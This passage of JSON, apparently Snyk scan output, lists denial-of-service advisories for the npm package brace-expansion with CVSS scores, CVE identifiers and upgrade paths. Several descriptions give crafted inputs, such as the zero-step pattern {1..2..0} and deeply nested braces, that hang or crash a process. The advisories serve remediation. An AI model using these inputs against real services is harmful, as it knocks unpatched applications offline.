"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
